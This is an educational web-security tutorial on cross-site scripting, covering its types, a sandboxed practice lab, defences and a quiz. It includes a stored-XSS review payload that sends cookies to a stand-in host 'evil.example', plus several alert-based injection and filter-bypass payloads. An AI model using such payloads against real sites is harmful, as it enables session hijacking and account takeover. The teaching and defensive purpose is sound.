Cross-Site Scripting (XSS)
What is Cross-Site Scripting?
Cross-Site Scripting (XSS) happens when a website takes text supplied by a user and puts it into a page without treating it as plain text. The browser cannot tell the difference between the developer's JavaScript and the attacker's, so it runs both.
The script runs as the victim, on the trusted site. That means it can read what the victim sees, click buttons for them, and (if cookies are not protected) steal their session.
XSS sits in the Injection category of the OWASP Top 10, and it is one of the most common findings in bug bounty programmes worldwide. Famous examples include the Samy worm on MySpace (2005), which added over a million friends in under a day, and the British Airways breach (2018), where injected script skimmed payment details from about 380,000 bookings and led to a £20 million fine.
Legal note: Only test XSS on systems you own or have written permission to test, such as the lab below, DVWA or TryHackMe. Unauthorised testing is an offence under Nigeria's Cybercrimes Act 2015, the UK Computer Misuse Act 1990 and the US Computer Fraud and Abuse Act.
A Nigerian Example: The Poisoned Product Review
Imagine NaijaMart, an online store in Lagos. Under every product there is a review box, and reviews appear for all shoppers. The developer writes the review straight into the page:
html += "<div class='review'>" + review.text + "</div>";
An attacker posts this "review" on a popular phone listing:
<img src=x onerror="fetch('https://evil.example/steal?c=' + document.cookie)">
Nothing looks wrong: the image is broken and invisible. But every shopper who opens that listing silently sends their session cookie to the attacker. On Black Friday, that could be thousands of customers in a few hours. With those cookies the attacker can act as those shoppers, see saved addresses and change delivery details.
No phishing email was needed. The victims did nothing except browse a trusted site. This is why stored XSS is so dangerous.
The same weakness affects any site with user content: a social media comment feed, a support ticket system that staff read, a marketplace seller profile, a UK council forum or a US retailer's Q&A section.
The Three Types of XSS
1. Reflected XSS
The payload is in the request (a URL parameter or a form field) and the server echoes it straight back in the response.
https://shop.example/search?q=<script>...</script>
The victim has to be tricked into clicking the crafted link (a WhatsApp message, an email, a shortened URL). It only affects the person who clicks.
2. Stored (persistent) XSS
The payload is saved in the database (a comment, review, profile bio, support ticket) and served to every visitor. This is the NaijaMart example. It is the most damaging type because it spreads on its own.
3. DOM-based XSS
The vulnerability is in the browser-side JavaScript. The page reads something like location.hash and writes it into the page with innerHTML. The server never sees the payload, so server-side filters cannot catch it.
greeting.innerHTML = "Hello, " + location.hash.slice(1);
What Can an Attacker Do?
- Steal session cookies with
document.cookieand hijack the account (unless the cookie isHttpOnly). - Act as the user: change an email address, post messages, or trigger a transfer, because the request comes from the victim's own browser.
- Show a fake login form on the real site to capture passwords.
- Log keystrokes or redirect to a malware page.
- Deface the page or spread themselves to other users (a worm).
Try It in the Lab
The lab is a fake social site called Chirp with comment, search and greeting features. Use the three mode buttons at the top:
- Vulnerable: no protection. Everything you inject runs.
- Naive filter: removes
<script>...</script>once. Can you bypass it? - Secure: output is encoded. Replay the same payloads and watch them fail.
Work through the six goals shown at the top of the lab. Suggested payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<script>alert(document.cookie)</script>
The lab replaces alert with an in-page dialog and uses a fake cookie, so nothing here can affect your real browser or accounts.
Things to notice:
- The script tag is only one way in. Event handlers such as
onerrorandonloadneed no<script>at all. - The naive filter stops one payload and misses the next. Blacklists lose.
- After a stored payload is saved, reload the page and switch viewer: it fires again, for a different victim.
How to Prevent XSS
1. Encode output for the context (the main fix)
Turn special characters into harmless text before they reach the page: < becomes <, > becomes >, and so on. Modern frameworks (React, Vue, Angular) do this by default.
// Safe: treated as text
element.textContent = userInput;
// Dangerous: treated as HTML
element.innerHTML = userInput;
In React, avoid dangerouslySetInnerHTML. If you must render HTML, clean it with a library such as DOMPurify.
2. Use a Content Security Policy (CSP)
A CSP header tells the browser which scripts may run, which blocks most injected inline scripts even if a bug slips through.
Content-Security-Policy: default-src 'self'; script-src 'self'
3. Protect cookies
Set HttpOnly (JavaScript cannot read the cookie), Secure (HTTPS only) and SameSite (limits cross-site sending). This does not stop XSS, but it stops the simplest cookie theft.
4. Validate input as an extra layer
Check that an age is a number and an email looks like an email. This helps, but it is never the only defence, because free-text fields like comments must accept symbols.
Notice what does not work: removing <script> tags or blacklisting words. Attackers use other tags, encodings and case tricks faster than a list can grow. Encode on output.
Try it yourself
Key Takeaways
- XSS runs attacker-controlled JavaScript in the victim's browser, on the trusted site, with the victim's privileges.
- Three types: reflected (in the request), stored (saved and served to everyone) and DOM-based (client-side sink such as innerHTML).
- A poisoned review or comment on a shop can hit every shopper who views it, which is why stored XSS is the most dangerous.
- The main fix is context-aware output encoding. Use textContent instead of innerHTML, and sanitise any HTML you must allow.
- Add a Content Security Policy and HttpOnly, Secure, SameSite cookies as extra layers. Blacklists are not a fix. Only test systems you are authorised to test.
Quick Quiz
1.Which type of XSS is saved in the database and served to every visitor of the page?
2.A naive filter removes <script> tags. Which payload can still run JavaScript?
3.What is the primary defence against XSS?
Ready to go further?
CareerEx gives you structured 12-week training, live classes every Saturday and Sunday, real tutor feedback, and a certificate. Join the next cohort.
Join CareerEx